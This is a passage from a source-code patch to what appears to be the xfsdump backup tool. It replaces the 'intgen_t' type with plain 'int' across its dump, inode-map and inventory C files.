rval; + int rval; if ( bulkstatcallcnt == 0 ) { mlog( MLOG_VERBOSE, _( @@ -2909,17 +2909,17 @@ dump_dirs( ix_t strmix, static rv_t dump_dir( ix_t strmix, jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *statp ) { context_t *contextp = &sc_contextp[ strmix ]; drive_t *drivep = drivepp[ strmix ]; void *inomap_contextp = contextp->cc_inomap_contextp; - intgen_t state; - intgen_t fd; + int state; + int fd; struct dirent *gdp = ( struct dirent *)contextp->cc_getdentsbufp; size_t gdsz = contextp->cc_getdentsbufsz; - intgen_t gdcnt; + int gdcnt; gen_t gen; rv_t rv; @@ -3008,7 +3008,7 @@ dump_dir( ix_t strmix, */ for ( gdcnt = 1, rv = RV_OK ; rv == RV_OK ; gdcnt++ ) { struct dirent *p; - intgen_t nread; + int nread; register size_t reclen; nread = getdents_wrap( fd, (char *)gdp, gdsz ); @@ -3046,7 +3046,7 @@ dump_dir( ix_t strmix, ; nread > 0 ; - nread -= ( intgen_t )reclen, + nread -= ( int )reclen, assert( nread >= 0 ), p = ( struct dirent * )( ( char * )p + reclen ), reclen = ( size_t )p->d_reclen ) { @@ -3093,7 +3093,7 @@ dump_dir( ix_t strmix, */ if ( inomap_get_gen( NULL, p->d_ino, &gen) ) { xfs_bstat_t statbuf; - intgen_t scrval; + int scrval; scrval = bigstat_one( fsfd, p->d_ino, @@ -3261,7 +3261,7 @@ dump_extattr_list( drive_t *drivep, char *dumpbufp; char *endp; size_t bufsz; - intgen_t rval = 0; + int rval = 0; rv_t rv; char *dumpbufendp = contextp->cc_extattrdumpbufp + @@ -3645,7 +3645,7 @@ dump_extattrhdr( drive_t *drivep, { extattrhdr_t ahdr; extattrhdr_t tmpahdr; - intgen_t rval; + int rval; rv_t rv; memset( ( void * )&ahdr, 0, sizeof( ahdr )); @@ -3693,7 +3693,7 @@ dump_extattrhdr( drive_t *drivep, static rv_t dump_file( void *arg1, jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *statp ) { ix_t strmix = ( ix_t )arg1; @@ -3708,7 +3708,7 @@ dump_file( void *arg1, startpt_t *startptp = &scwhdrp->cih_startpt; startpt_t *endptp = &scwhdrp->cih_endpt; bool_t file_skipped = BOOL_FALSE; - intgen_t state; + int state; rv_t rv; /* skip if no links @@ -4147,7 +4147,7 @@ dump_file_spec( drive_t *drivep, jdm_fshandle_t *fshandlep, xfs_bstat_t *statp ) { - intgen_t rval; + int rval; rv_t rv; mlog( MLOG_TRACE, @@ -4178,7 +4178,7 @@ dump_file_spec( drive_t *drivep, * the symlink pathname char string will always be NULL-terminated. */ if ( ( statp->bs_mode & S_IFMT ) == S_IFLNK ) { - intgen_t nread; + int nread; size_t extentsz; /* read the link path. if error, dump a zero-length @@ -4263,7 +4263,7 @@ init_extent_group_context( jdm_fshandle_t *fshandlep, extent_group_context_t *gcp ) { bool_t isrealtime; - intgen_t oflags; + int oflags; struct flock fl; isrealtime = ( bool_t )(statp->bs_xflags & XFS_XFLAG_REALTIME ); @@ -4338,7 +4338,7 @@ dump_extent_group( drive_t *drivep, XFS_XFLAG_REALTIME ); off64_t nextoffset; off64_t bytecnt; /* accumulates total bytes sent to media */ - intgen_t rval; + int rval; rv_t rv; /* @@ -4402,7 +4402,7 @@ dump_extent_group( drive_t *drivep, * get one. */ if ( gcp->eg_nextbmapp >= gcp->eg_endbmapp ) { - intgen_t entrycnt; /* entries in new bmap */ + int entrycnt; /* entries in new bmap */ assert( gcp->eg_nextbmapp == gcp->eg_endbmapp ); @@ -4779,7 +4779,7 @@ dump_extent_group( drive_t *drivep, */ while ( extsz ) { off64_t new_off; - intgen_t nread; + int nread; size_t reqsz; size_t actualsz; char *bufp; @@ -4947,12 +4947,12 @@ dump_filehdr( drive_t *drivep, context_t *contextp, xfs_bstat_t *statp, off64_t offset, - intgen_t flags ) + int flags ) { drive_ops_t *dop = drivep->d_opsp; register filehdr_t *fhdrp = contextp->cc_filehdrp; filehdr_t tmpfhdrp; - intgen_t rval; + int rval; rv_t rv; ( void )memset( ( void * )fhdrp, 0, sizeof( *fhdrp )); @@ -5004,7 +5004,7 @@ dump_extenthdr( drive_t *drivep, drive_ops_t *dop = drivep->d_opsp; register extenthdr_t *ehdrp = contextp->cc_extenthdrp; extenthdr_t tmpehdrp; - intgen_t rval; + int rval; rv_t rv; char typestr[20]; @@ -5079,7 +5079,7 @@ dump_dirent( drive_t *drivep, size_t direntbufsz = contextp->cc_mdirentbufsz; size_t sz; size_t name_offset; - intgen_t rval; + int rval; rv_t rv; if ( sc_use_old_direntpr ) { @@ -5226,8 +5226,8 @@ dump_session_inv( drive_t *drivep, uuid_t mediaid; char medialabel[ GLOBAL_HDR_STRING_SZ ]; bool_t partial; - intgen_t mediafileix; - intgen_t rval; + int mediafileix; + int rval; rv_t rv; mlog( MLOG_VERBOSE, _( @@ -5265,7 +5265,7 @@ dump_session_inv( drive_t *drivep, uuid_copy(mediaid, mwhdrp->mh_mediaid); strcpy( medialabel, mwhdrp->mh_medialabel ); - mediafileix = ( intgen_t )mwhdrp->mh_mediafileix; + mediafileix = ( int )mwhdrp->mh_mediafileix; rval = write_buf( inv_sbufp, inv_sbufsz, @@ -5327,7 +5327,7 @@ dump_session_inv( drive_t *drivep, ok = inv_put_mediafile( inv_stmt, &mediaid, medialabel, - ( u_intgen_t )mediafileix, + ( u_int )mediafileix, (xfs_ino_t )0, ( off64_t )0, (xfs_ino_t )0, @@ -5444,7 +5444,7 @@ static rv_t write_pad( drive_t *drivep, size_t sz ) { drive_ops_t *dop = drivep->d_opsp; - intgen_t rval; + int rval; rv_t rv; rval = write_buf( 0, @@ -5531,7 +5531,7 @@ static rv_t Media_mfile_begin( drive_t *drivep, context_t *contextp, bool_t intr_allowed ) { drive_ops_t *dop = drivep->d_opsp; - intgen_t dcaps = drivep->d_capabilities; + int dcaps = drivep->d_capabilities; global_hdr_t *gwhdrp = drivep->d_gwritehdrp; drive_hdr_t *dwhdrp = drivep->d_writehdrp; media_hdr_t *mwhdrp = ( media_hdr_t * )dwhdrp->dh_upper; @@ -5543,7 +5543,7 @@ Media_mfile_begin( drive_t *drivep, context_t *contextp, bool_t intr_allowed ) bool_t prevmediapresentpr; bool_t mediawrittentopr; global_hdr_t saved_gwhdr; - intgen_t rval; + int rval; bool_t ok; /* sanity checks @@ -5688,7 +5688,7 @@ position: goto changemedia; } if ( MEDIA_TERMINATOR_CHK( mrhdrp )) { - intgen_t status; + int status; mlog( MLOG_VERBOSE | MLOG_MEDIA, _( "stream terminator found\n") ); assert( contextp->cc_Media_useterminatorpr ); @@ -5745,7 +5745,7 @@ position: "unable to overwrite\n") ); goto changemedia; } else { - intgen_t status; + int status; mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_MEDIA, _( "repositioning to overwrite\n") ); assert( dcaps & DRIVE_CAP_BSF ); @@ -5879,7 +5879,7 @@ position: mlog_exit_hint(RV_CORRUPT); goto changemedia; } else { - intgen_t status; + int status; mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_MEDIA,_( "encountered corrupt or foreign data: " "repositioning to overwrite\n") ); @@ -6140,7 +6140,7 @@ Media_mfile_end( drive_t *drivep, bool_t hit_eom ) { drive_ops_t *dop = drivep->d_opsp; - intgen_t rval; + int rval; mlog( MLOG_DEBUG | MLOG_MEDIA, "Media op: end media file\n" ); @@ -6280,7 +6280,7 @@ retry: static rv_t Media_erasechk( drive_t *drivep, - intgen_t dcaps, + int dcaps, bool_t intr_allowed, bool_t prevmediapresentpr ) { diff --git a/dump/inomap.c b/dump/inomap.c index dacf954..06f3869 100644 --- a/dump/inomap.c +++ b/dump/inomap.c @@ -69,7 +69,7 @@ extern bool_t allowexcludefiles_pr; /* inomap construction callbacks */ -static intgen_t cb_context( bool_t last, +static int cb_context( bool_t last, time32_t, bool_t, time32_t, @@ -77,24 +77,24 @@ static intgen_t cb_context( bool_t last, drange_t *, startpt_t *, size_t, - intgen_t, + int, bool_t, bool_t *); static void cb_context_free( void ); -static intgen_t cb_count_inogrp( void *, intgen_t, xfs_inogrp_t *); -static intgen_t cb_add_inogrp( void *, intgen_t, xfs_inogrp_t * ); -static intgen_t cb_add( void *, jdm_fshandle_t *, intgen_t, xfs_bstat_t * ); +static int cb_count_inogrp( void *, int, xfs_inogrp_t *); +static int cb_add_inogrp( void *, int, xfs_inogrp_t * ); +static int cb_add( void *, jdm_fshandle_t *, int, xfs_bstat_t * ); static bool_t cb_inoinresumerange( xfs_ino_t ); static bool_t cb_inoresumed( xfs_ino_t ); static void cb_accuminit_sz( void ); static void cb_spinit( void ); -static intgen_t cb_startpt( void *, +static int cb_startpt( void *, jdm_fshandle_t *, - intgen_t, + int, xfs_bstat_t * ); -static intgen_t supprt_prune( void *, +static int supprt_prune( void *, jdm_fshandle_t *, - intgen_t, + int, xfs_bstat_t *, char * ); static off64_t quantity2offset( jdm_fshandle_t *, xfs_bstat_t *, off64_t ); @@ -102,25 +102,25 @@ static off64_t estimate_dump_space( xfs_bstat_t * ); /* inomap primitives */ -static intgen_t inomap_init( intgen_t igrpcnt ); -static void inomap_add( void *, xfs_ino_t ino, gen_t gen, intgen_t ); -static intgen_t inomap_set_state( void *, xfs_ino_t ino, intgen_t ); +static int inomap_init( int igrpcnt ); +static void inomap_add( void *, xfs_ino_t ino, gen_t gen, int ); +static int inomap_set_state( void *, xfs_ino_t ino, int ); static void inomap_set_gen(void *, xfs_ino_t, gen_t ); /* subtree abstraction */ -static intgen_t subtree_descend_cb( void *, +static int subtree_descend_cb( void *, jdm_fshandle_t *, - intgen_t fsfd, + int fsfd, xfs_bstat_t *, char * ); -static intgen_t subtreelist_parse_cb( void *, +static int subtreelist_parse_cb( void *, jdm_fshandle_t *, - intgen_t fsfd, + int fsfd, xfs_bstat_t *, char * ); -static intgen_t subtreelist_parse( jdm_fshandle_t *, - intgen_t, +static int subtreelist_parse( jdm_fshandle_t *, + int, xfs_bstat_t *, char *[], ix_t ); @@ -145,7 +145,7 @@ static u_int64_t inomap_exclude_skipattr = 0; /* ARGSUSED */ bool_t inomap_build( jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *rootstatp, bool_t last, time32_t lasttime, @@ -166,9 +166,9 @@ inomap_build( jdm_fshandle_t *fshandlep, xfs_bstat_t *bstatbufp; size_t bstatbuflen; bool_t pruneneeded = BOOL_FALSE; - intgen_t igrpcnt = 0; - intgen_t stat; - intgen_t rval; + int igrpcnt = 0; + int stat; + int rval; /* do a sync so that bulkstat will pick up inode changes * that are currently in the inode cache. this is necessary @@ -403,7 +403,7 @@ inomap_build( jdm_fshandle_t *fshandlep, void inomap_skip( xfs_ino_t ino ) { - intgen_t oldstate; + int oldstate; oldstate = inomap_get_state( NULL, ino ); if ( oldstate == MAP_NDR_CHANGE) { @@ -446,7 +446,7 @@ static bool_t cb_skip_unchanged_dirs; /* set by cb_context() */ /* cb_context - initializes the call back context for the add and prune * phases of inomap_build(). */ -static intgen_t +static int cb_context( bool_t last, time32_t lasttime, bool_t resume, @@ -455,7 +455,7 @@ cb_context( bool_t last, drange_t *resumerangep, startpt_t *startptp, size_t startptcnt, - intgen_t igrpcnt, + int igrpcnt, bool_t skip_unchanged_dirs, bool_t *pruneneededp ) { @@ -489,10 +489,10 @@ cb_context_free( void ) inomap_free_context( cb_inomap_contextp ); } -static intgen_t -cb_count_inogrp( void *arg1, intgen_t fsfd, xfs_inogrp_t *inogrp ) +static int +cb_count_inogrp( void *arg1, int fsfd, xfs_inogrp_t *inogrp ) { - intgen_t *count = (intgen_t *)arg1; + int *count = (int *)arg1; (*count)++; return 0; } @@ -503,10 +503,10 @@ cb_count_inogrp( void *arg1, intgen_t fsfd, xfs_inogrp_t *inogrp ) * files or directories have not been modified. */ /* ARGSUSED */ -static intgen_t +static int cb_add( void *arg1, jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *statp ) { register time32_t mtime = statp->bs_mtime.tv_sec; @@ -692,12 +692,12 @@ cb_inoresumed( xfs_ino_t ino ) static bool_t /* false, used as diriter callback */ supprt_prune( void *arg1, /* ancestors marked as changed? */ jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *statp, char *name ) { static bool_t cbrval = BOOL_FALSE; - intgen_t state; + int state; if ( ( statp->bs_mode & S_IFMT ) == S_IFDIR ) { bool_t changed_below = BOOL_FALSE; @@ -810,13 +810,13 @@ typedef enum { } action_t; /* ARGSUSED */ -static intgen_t +static int cb_startpt( void *arg1, jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *statp ) { - register intgen_t state; + register int state; off64_t estimate; off64_t old_accum = cb_accum; @@ -955,20 +955,20 @@ struct i2gseg { typedef struct i2gseg i2gseg_t; typedef struct seg_addr { - intgen_t hnkoff; - intgen_t segoff; - intgen_t inooff; + int hnkoff; + int segoff; + int inooff; } seg_addr_t; static struct inomap { hnk_t *hnkmap; - intgen_t hnkmaplen; + int hnkmaplen; i2gseg_t *i2gmap; seg_addr_t lastseg; } inomap; static inline void -SEG_SET_BITS( seg_t *segp, xfs_ino_t ino, intgen_t state ) +SEG_SET_BITS( seg_t *segp, xfs_ino_t ino, int state ) { register xfs_ino_t relino; register u_int64_t mask; @@ -1020,10 +1020,10 @@ SEG_SET_BITS( seg_t *segp, xfs_ino_t ino, intgen_t state ) } } -static inline intgen_t +static inline int SEG_GET_BITS( seg_t *segp, xfs_ino_t ino ) { - intgen_t state; + int state; register xfs_ino_t relino; register u_int64_t mask; relino = ino - segp->base; @@ -1045,8 +1045,8 @@ SEG_GET_BITS( seg_t *segp, xfs_ino_t ino ) /* context for inomap construction - initialized by map_init */ -static intgen_t -inomap_init( intgen_t igrpcnt ) +static int +inomap_init( int igrpcnt ) { assert( sizeof( hnk_t ) == HNKSZ ); @@ -1072,7 +1072,7 @@ inomap_getsz( void ) static inline bool_t inomap_validaddr( seg_addr_t *addrp ) { - intgen_t maxseg; + int maxseg; if ( addrp->hnkoff < 0 || addrp->hnkoff > inomap.lastseg.hnkoff ) return BOOL_FALSE; @@ -1099,14 +1099,14 @@ inomap_addr2seg( seg_addr_t *addrp ) return &hunkp->seg[addrp->segoff]; } -static inline intgen_t +static inline int inomap_addr2segix( seg_addr_t *addrp ) { return ( addrp->hnkoff * SEGPERHNK ) + addrp->segoff; } -static inline intgen_t -inomap_lastseg( intgen_t hnkoff ) +static inline int +inomap_lastseg( int hnkoff ) { if ( hnkoff == inomap.lastseg.hnkoff ) return inomap.lastseg.segoff; @@ -1117,8 +1117,8 @@ inomap_lastseg( intgen_t hnkoff ) /* called for every inode group in the filesystem in increasing inode * order. adds a new segment to the inomap and ino-to-gen map. */ -static intgen_t -cb_add_inogrp( void *arg1, intgen_t fsfd, xfs_inogrp_t *inogrp ) +static int +cb_add_inogrp( void *arg1, int fsfd, xfs_inogrp_t *inogrp ) { hnk_t *hunk; seg_t *segp; @@ -1131,7 +1131,7 @@ cb_add_inogrp( void *arg1, intgen_t fsfd, xfs_inogrp_t *inogrp ) lastsegp->segoff = 0; if (lastsegp->hnkoff == inomap.hnkmaplen) { - intgen_t numsegs; + int numsegs; inomap.hnkmaplen++; inomap.hnkmap = (hnk_t *) @@ -1166,7 +1166,7 @@ cb_add_inogrp( void *arg1, intgen_t fsfd, xfs_inogrp_t *inogrp ) /* called for every ino to be added to the map. */ static void -inomap_add( void *contextp, xfs_ino_t ino, gen_t gen, intgen_t state ) +inomap_add( void *contextp, xfs_ino_t ino, gen_t gen, int state ) { inomap_set_state( contextp, ino, state ); inomap_set_gen( contextp, ino, gen ); @@ -1203,8 +1203,8 @@ static bool_t inomap_find_hnk( seg_addr_t *addrp, xfs_ino_t ino ) { hnk_t *hunkp; - intgen_t lower; - intgen_t upper; + int lower; + int upper; lower = 0; upper = inomap.lastseg.hnkoff; @@ -1235,8 +1235,8 @@ static bool_t inomap_find_seg( seg_addr_t *addrp, xfs_ino_t ino ) { seg_t *segp; - intgen_t lower; - intgen_t upper; + int lower; + int upper; if ( !inomap_validaddr( addrp ) ) { inomap_reset_context( addrp ); @@ -1267,7 +1267,7 @@ inomap_find_seg( seg_addr_t *addrp, xfs_ino_t ino ) } static xfs_ino_t -inomap_iter( void *contextp, intgen_t statemask ) +inomap_iter( void *contextp, int statemask ) { xfs_ino_t ino, endino; seg_t *segp; @@ -1286,7 +1286,7 @@ inomap_iter( void *contextp, intgen_t statemask ) ino = segp->base + addrp->inooff; endino = segp->base + INOPERSEG; for ( ; ino < endino ; ino++, addrp->inooff++ ) { - intgen_t st; + int st; st = SEG_GET_BITS( segp, ino ); if ( statemask & ( 1 << st )) { addrp->inooff++; /* for next call */ @@ -1302,7 +1302,7 @@ inomap_iter( void *contextp, intgen_t statemask ) xfs_ino_t inomap_next_nondir(void *contextp, xfs_ino_t lastino) { - intgen_t state = 1 << MAP_NDR_CHANGE; + int state = 1 << MAP_NDR_CHANGE; xfs_ino_t nextino; do { @@ -1315,7 +1315,7 @@ inomap_next_nondir(void *contextp, xfs_ino_t lastino) xfs_ino_t inomap_next_dir(void *contextp, xfs_ino_t lastino) { - intgen_t state = (1 << MAP_DIR_CHANGE) | (1 << MAP_DIR_SUPPRT); + int state = (1 << MAP_DIR_CHANGE) | (1 << MAP_DIR_SUPPRT); xfs_ino_t nextino; do { @@ -1325,10 +1325,10 @@ inomap_next_dir(void *contextp, xfs_ino_t lastino) return nextino; } -static intgen_t -inomap_set_state( void *contextp, xfs_ino_t ino, intgen_t state ) +static int +inomap_set_state( void *contextp, xfs_ino_t ino, int state ) { - intgen_t oldstate; + int oldstate; seg_addr_t *addrp; seg_addr_t addr; seg_t *segp; @@ -1345,7 +1345,7 @@ inomap_set_state( void *contextp, xfs_ino_t ino, intgen_t state ) return oldstate; } -intgen_t +int inomap_get_state( void *contextp, xfs_ino_t ino ) { seg_addr_t *addrp; @@ -1382,7 +1382,7 @@ inomap_set_gen(void *contextp, xfs_ino_t ino, gen_t gen) i2gsegp->s_gen[relino] = gen; } -intgen_t +int inomap_get_gen( void *contextp, xfs_ino_t ino, gen_t *gen ) { seg_addr_t *addrp; @@ -1432,7 +1432,7 @@ inomap_dump( drive_t *drivep ) for ( addr.hnkoff = 0 ; addr.hnkoff <= inomap.lastseg.hnkoff ; addr.hnkoff++ ) { - intgen_t rval; + int rval; rv_t rv; drive_ops_t *dop = drivep->d_opsp; @@ -1471,9 +1471,9 @@ inomap_dump( drive_t *drivep ) return RV_OK; } -static intgen_t +static int subtreelist_parse( jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *rootstatp, char *subtreebuf[], ix_t subtreecnt ) @@ -1487,7 +1487,7 @@ subtreelist_parse( jdm_fshandle_t *fshandlep, /* do a recursive descent for each subtree specified */ for ( subtreeix = 0 ; subtreeix < subtreecnt ; subtreeix++ ) { - intgen_t cbrval = 0; + int cbrval = 0; char *currentpath = subtreebuf[ subtreeix ]; assert( *currentpath != '/' ); ( void )diriter( fshandlep, @@ -1511,14 +1511,14 @@ subtreelist_parse( jdm_fshandle_t *fshandlep, return 0; } -static intgen_t +static int subtreelist_parse_cb( void *arg1, jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *statp, char *name ) { - intgen_t cbrval = 0; + int cbrval = 0; /* arg1 is used to carry the tail of the subtree path */ @@ -1594,14 +1594,14 @@ subtreelist_parse_cb( void *arg1, } } -static intgen_t +static int subtree_descend_cb( void *arg1, jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *statp, char *name ) { - intgen_t cbrval = 0; + int cbrval = 0; cb_add( NULL, fshandlep, fsfd, statp ); @@ -1628,7 +1628,7 @@ subtree_descend_cb( void *arg1, static off64_t quantity2offset( jdm_fshandle_t *fshandlep, xfs_bstat_t *statp, off64_t qty ) { - intgen_t fd; + int fd; getbmapx_t bmap[ BMAP_LEN ]; off64_t offset; off64_t offset_next; @@ -1661,8 +1661,8 @@ quantity2offset( jdm_fshandle_t *fshandlep, xfs_bstat_t *statp, off64_t qty ) } for ( ; ; ) { - intgen_t eix; - intgen_t rval; + int eix; + int rval; rval = ioctl( fd, XFS_IOC_GETBMAPX, bmap ); if ( rval ) { diff --git a/dump/inomap.h b/dump/inomap.h index 7d1db1f..663b434 100644 --- a/dump/inomap.h +++ b/dump/inomap.h @@ -47,7 +47,7 @@ * abort the dump; else returns BOOL_TRUE. */ extern bool_t inomap_build( jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *rootstatp, bool_t last, time32_t lasttime, @@ -131,8 +131,8 @@ typedef struct hnk hnk_t; extern void *inomap_alloc_context( void ); extern void inomap_reset_context( void *contextp ); extern void inomap_free_context( void *contextp ); -extern intgen_t inomap_get_state( void *contextp, xfs_ino_t ino ); -extern intgen_t inomap_get_gen( void *contextp, xfs_ino_t ino, gen_t *gen ); +extern int inomap_get_state( void *contextp, xfs_ino_t ino ); +extern int inomap_get_gen( void *contextp, xfs_ino_t ino, gen_t *gen ); /* generators returning the next dir or non-dir ino selected in this dump. diff --git a/dump/var.c b/dump/var.c index ceb7e3a..d3fa3be 100644 --- a/dump/var.c +++ b/dump/var.c @@ -84,7 +84,7 @@ void var_skip( uuid_t *dumped_fsidp, void ( *cb )( xfs_ino_t ino )) { uuid_t fsid; - intgen_t rval; + int rval; /* see if the fs uuid's match */ @@ -118,7 +118,7 @@ var_skip_recurse( char *base, void ( *cb )( xfs_ino_t ino )) struct stat64 statbuf; DIR *dirp; struct dirent *direntp; - intgen_t rval; + int rval; rval = lstat64( base, &statbuf ); if ( rval ) { diff --git a/inventory/inv_api.c b/inventory/inv_api.c index b564d2f..4c1855b 100644 --- a/inventory/inv_api.c +++ b/inventory/inv_api.c @@ -170,7 +170,7 @@ inv_writesession_open( { invt_session_t ses; int fd; - intgen_t rval; + int rval; invt_sescounter_t *sescnt = NULL; invt_seshdr_t hdr; inv_sestoken_t sestok; @@ -867,10 +867,10 @@ static const char *myopts[] = { }; -intgen_t +int inv_getopt(int argc, char **argv, invt_pr_ctx_t *prctx) { - intgen_t rval = 0; + int rval = 0; void *fs = 0; char *options, *value; extern char *optarg; diff --git a/inventory/inv_core.c b/inventory/inv_core.c index 7020f7f..419f575 100644 --- a/inventory/inv_core.c +++ b/inventory/inv_core.c @@ -45,7 +45,7 @@ /* */ /*----------------------------------------------------------------------*/ -intgen_t +int get_counters( int fd, void **cntpp, size_t cntsz ) { /* object must be locked at least SHARED by caller */ @@ -72,7 +72,7 @@ get_counters( int fd, void **cntpp, size_t cntsz ) INV_VERSION ); } - return (intgen_t) num; + return (int) num; } @@ -83,7 +83,7 @@ get_counters( int fd, void **cntpp, size_t cntsz ) /* get_headers */ /*----------------------------------------------------------------------*/ -intgen_t +int get_headers( int fd, void **hdrs, size_t bufsz, size_t off ) { @@ -110,7 +110,7 @@ get_headers( int fd, void **hdrs, size_t bufsz, size_t off ) /* get_invtrecord */ /*----------------------------------------------------------------------*/ -intgen_t +int get_invtrecord( int fd, void *buf, size_t bufsz, off64_t off, int whence, bool_t dolock ) { @@ -153,7 +153,7 @@ get_invtrecord( int fd, void *buf, size_t bufsz, off64_t off, /* put_invtrecord */ /*----------------------------------------------------------------------*/ -intgen_t +int put_invtrecord( int fd, void *buf, size_t bufsz, off64_t off, int whence, bool_t dolock ) { @@ -193,7 +193,7 @@ put_invtrecord( int fd, void *buf, size_t bufsz, off64_t off, /*----------------------------------------------------------------------*/ -intgen_t +int get_headerinfo( int fd, void **hdrs, void **cnt, size_t hdrsz, size_t cntsz, bool_t dolock ) { @@ -222,7 +222,7 @@ get_headerinfo( int fd, void **hdrs, void **cnt, /* get_lastheader */ /*----------------------------------------------------------------------*/ -intgen_t +int get_lastheader( int fd, void **ent, size_t hdrsz, size_t cntsz ) { int nindices; diff --git a/inventory/inv_fstab.c b/inventory/inv_fstab.c index 8263852..1c2bf3d 100644 --- a/inventory/inv_fstab.c +++ b/inventory/inv_fstab.c @@ -47,7 +47,7 @@ /*----------------------------------------------------------------------*/ -intgen_t +int fstab_getall( invt_fstab_t **arr, invt_counter_t **cnt, int *numfs, inv_oflag_t forwhat ) { @@ -86,7 +86,7 @@ fstab_getall( invt_fstab_t **arr, invt_counter_t **cnt, int *numfs, /*----------------------------------------------------------------------*/ -intgen_t +int fstab_put_entry( uuid_t *fsidp, char *mntpt, char *dev, inv_oflag_t forwhat ) { int numfs, i, fd; @@ -172,7 +172,7 @@ fstab_put_entry( uuid_t *fsidp, char *mntpt, char *dev, inv_oflag_t forwhat ) -intgen_t +int fstab_get_fname( void *pred, char *fname, inv_predicate_t bywhat, diff --git a/inventory/inv_idx.c b/inventory/inv_idx.c index 0378c5a..13b64db 100644 --- a/inventory/inv_idx.c +++ b/inventory/inv_idx.c @@ -153,7 +153,7 @@ idx_insert_newentry( int fd, /* kept locked EX by caller */ /* */ /*----------------------------------------------------------------------*/ -intgen_t +int idx_put_newentry( invt_idxinfo_t *idx, invt_entry_t *ient ) @@ -291,7 +291,7 @@ idx_create( char *fname, inv_oflag_t forwhat ) /* */ /* */ /*----------------------------------------------------------------------*/ -intgen_t +int idx_recons_time( time32_t tm, invt_idxinfo_t *idx ) { invt_timeperiod_t *tp = &idx->iarr[idx->index].ie_timeperiod; @@ -316,7 +316,7 @@ idx_recons_time( time32_t tm, invt_idxinfo_t *idx ) /* */ /*----------------------------------------------------------------------*/ -intgen_t +int idx_put_sesstime( inv_sestoken_t tok, bool_t whichtime) { int rval; @@ -380,7 +380,7 @@ idx_put_sesstime( inv_sestoken_t tok, bool_t whichtime) /* */ /*----------------------------------------------------------------------*/ -intgen_t +int idx_create_entry( inv_idbtoken_t *tok, int invfd, /* kept locked EX by caller */ @@ -495,7 +495,7 @@ idx_get_stobj( int invfd, inv_oflag_t forwhat, int *index ) } -intgen_t +int idx_DEBUG_printinvindices( invt_entry_t *iarr, u_int num ) { u_int i; @@ -520,7 +520,7 @@ idx_DEBUG_printinvindices( invt_entry_t *iarr, u_int num ) } -intgen_t +int idx_DEBUG_print ( int fd ) { int nindices; @@ -542,7 +542,7 @@ idx_DEBUG_print ( int fd ) -intgen_t +int DEBUG_displayallsessions( int fd, invt_seshdr_t *hdr, u_int ref, invt_pr_ctx_t *prctx) { diff --git a/inventory/inv_mgr.c b/inventory/inv_mgr.c index f1341b9..1b99d5c 100644 --- a/inventory/inv_mgr.c +++ b/inventory/inv_mgr.c @@ -220,7 +220,7 @@ invmgr_query_all_sessions ( /* comparison/check. */ /*----------------------------------------------------------------------*/ -intgen_t +int search_invt( uuid_t *fsidp, int invfd, @@ -336,7 +336,7 @@ search_invt( /*---------------------------------------------------------------------------*/ -intgen_t +int invmgr_inv_print( int invfd, invt_pr_ctx_t *prctx) @@ -427,7 +427,7 @@ invmgr_inv_print( /*---------------------------------------------------------------------------*/ -intgen_t +int invmgr_inv_check( int invfd) { @@ -670,7 +670,7 @@ insert_session( invt_sessinfo_t *s) /* */ /*----------------------------------------------------------------------*/ -intgen_t +int make_invdirectory( inv_oflag_t forwhat ) { struct stat64 st; diff --git a/inventory/inv_oref.c b/inventory/inv_oref.c index ebcae95..66a03f4 100644 --- a/inventory/inv_oref.c +++ b/inventory/inv_oref.c @@ -29,12 +29,12 @@ /* * Resolve a stobj, invidx or fstab */ -intgen_t +int oref_resolve_( invt_oref_t *obj, invt_objtype_t type) { - intgen_t rval; + int rval; type &= INVT_OTYPE_MASK; assert(type); @@ -69,12 +69,12 @@ oref_resolve_( * Resolve an object reference upto a specified point */ -intgen_t +int oref_resolve_upto( invt_oref_t *obj, invt_objtype_t type) { - intgen_t rval = INV_OK; + int rval = INV_OK; assert (OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); assert (OREF_ISLOCKED(obj)); @@ -107,7 +107,7 @@ oref_resolve_upto( -intgen_t +int oref_resolve_entries( invt_oref_t *obj) { @@ -146,7 +146,7 @@ oref_resolve_entries( -intgen_t +int oref_resolve_counters( invt_oref_t *obj) { @@ -179,12 +179,12 @@ oref_resolve_counters( -intgen_t +int oref_sync( invt_oref_t *obj, invt_objtype_t type) { - intgen_t rval; + int rval; type &= INVT_RES_MASK; assert(type); @@ -219,14 +219,14 @@ oref_sync( return rval; } -intgen_t +int oref_sync_append( invt_oref_t *obj, invt_objtype_t type, void *entry, size_t entsz) { - intgen_t rval; + int rval; type &= INVT_RES_MASK; assert(type); @@ -305,7 +305,7 @@ _oref_free( * Also resolves an idb_token as a side effect. */ -intgen_t +int oref_resolve( invt_oref_t *invidx, inv_predicate_t bywhat, @@ -361,7 +361,7 @@ oref_resolve( /* create another storage object ( and, an inv_index entry for it too ) if we've filled this one up */ if (OREF_CNT_CURNUM(stobj) >= OREF_CNT_MAXNUM(stobj)) { - intgen_t rval; + int rval; #ifdef INVT_DEBUG mlog( MLOG_DEBUG | MLOG_INV, "$ INV: creating a new storage obj & " "index entry. \n" ); @@ -390,7 +390,7 @@ oref_resolve( * Resolve the invidx entirely, and open the StObj. * Invidx is kept locked by caller */ -intgen_t +int oref_resolve_child( invt_oref_t *invidx, int *index) @@ -424,7 +424,7 @@ oref_resolve_child( /* used to be idx_create */ -intgen_t +int oref_resolve_new_invidx( invt_oref_t *invidx, char *fname) @@ -454,7 +454,7 @@ oref_resolve_new_invidx( /* formerly idx_create_entry() */ -intgen_t +int oref_resolve_new_stobj( invt_oref_t *invidx, bool_t firstentry) diff --git a/inventory/inv_oref.h b/inventory/inv_oref.h index 2562500..e16684d 100644 --- a/inventory/inv_oref.h +++ b/inventory/inv_oref.h @@ -78,7 +78,7 @@ typedef struct 